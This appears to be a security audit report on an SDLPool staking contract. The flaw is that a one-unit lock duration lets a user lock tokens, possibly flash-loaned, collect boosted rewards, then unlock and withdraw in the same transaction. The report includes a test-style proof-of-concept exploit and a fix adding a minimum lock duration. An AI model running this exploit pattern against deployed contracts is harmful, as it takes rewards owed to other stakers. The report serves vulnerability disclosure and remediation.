Summary
A user can obtain boosted rewards by locking some sdl amount for a single unit of time, get distributed rewards from the tokens that the pool yielded and withdraw the sdl tokens in the same timestamp / trasaction
Vulnerability Details
When creating a lock or extending lock duration there is no restriction for the amount of time to lock the sdl tokens apart from not being greater than the maxLockingDuration
.
That enables any user to fakely lock any sdl amount for a single unit of time and in the same transaction be able to withdraw that same amount.
This is possible because when initiateUnlock()
is called, it calculates the half duration of the locking period. That computation would be 1//2 = 0.
Since the half duration of the locking period is 0, the user can call initiateUnlock()
in the same transaction and the expiry will have the value of the same block.timestamp.
That means that the user will be also able to withdraw his sdl token amount in the same transaction.
With this features, any user can get benefited from the pool yielded tokens for free by either taking a sdl token flash loan, or having a huge amount of this token.
Consider the following Proof of Concept:
it('PoC', async () => {
let userAddress = accounts[1];
await rewardToken.fakeMint(userAddress, 1);
let amountToFlashLoan = toEther(1000000);
await sdlToken.mint(userAddress, amountToFlashLoan);
await sdlToken
.connect(signers[1])
.transferAndCall(
sdlPool.address,
amountToFlashLoan,
ethers.utils.defaultAbiCoder.encode(['uint256', 'uint64'], [0, 1])
)
await rewardToken
.connect(signers[1])
.transferAndCall(
sdlPool.address,
1,
ethers.utils.defaultAbiCoder.encode(['uint256'], [0])
)
assert.equal(await sdlPool.ownerOf(1), userAddress);
await sdlPool
.connect(signers[1])
.initiateUnlock(1)
await sdlPool
.connect(signers[1])
.withdraw(1, amountToFlashLoan);
await sdlToken
.connect(signers[1])
.transfer("0x000000000000000000000000000000000000dead", amountToFlashLoan)
})
Impact
Other stakers will get less rewards because this user will get some of the amount without even locking sdl for a period of time
Tools Used
Manual review
Recommendations
Restrict the locking period to a minimum amount of time so users can not create a lock and withdraw it in the same transaction. That would disable flash loan attacks.
Changes for SDLPool
function _createLock(uint256 _amount, uint64 _lockingDuration) internal view returns (Lock memory) {
+ if (_lockingDuration != 0 && _lockingDuration < minimumLockingDuration) revert InvalidLockingDuration();
uint256 boostAmount = boostController.getBoostAmount(_amount, _lockingDuration);
uint64 startTime = _lockingDuration != 0 ? uint64(block.timestamp) : 0;
return Lock(_amount, boostAmount, startTime, _lockingDuration, 0);
}
function _updateLock(
Lock memory _lock,
uint256 _amount,
uint64 _lockingDuration
) internal view returns (Lock memory) {
if ((_lock.expiry == 0 || _lock.expiry > block.timestamp) && _lockingDuration < _lock.duration) {
revert InvalidLockingDuration();
}
+ if (_lockingDuration < minimumLockingDuration) revert InvalidLockingDuration();
Lock memory lock = Lock(_lock.amount, _lock.boostAmount, _lock.startTime, _lock.duration, _lock.expiry);
uint256 baseAmount = _lock.amount + _amount;
uint256 boostAmount = boostController.getBoostAmount(baseAmount, _lockingDuration);
if (_lockingDuration != 0) {
lock.startTime = uint64(block.timestamp);
} else {
delete lock.startTime;
}
lock.amount = baseAmount;
lock.boostAmount = boostAmount;
lock.duration = _lockingDuration;
lock.expiry = 0;
return lock;
}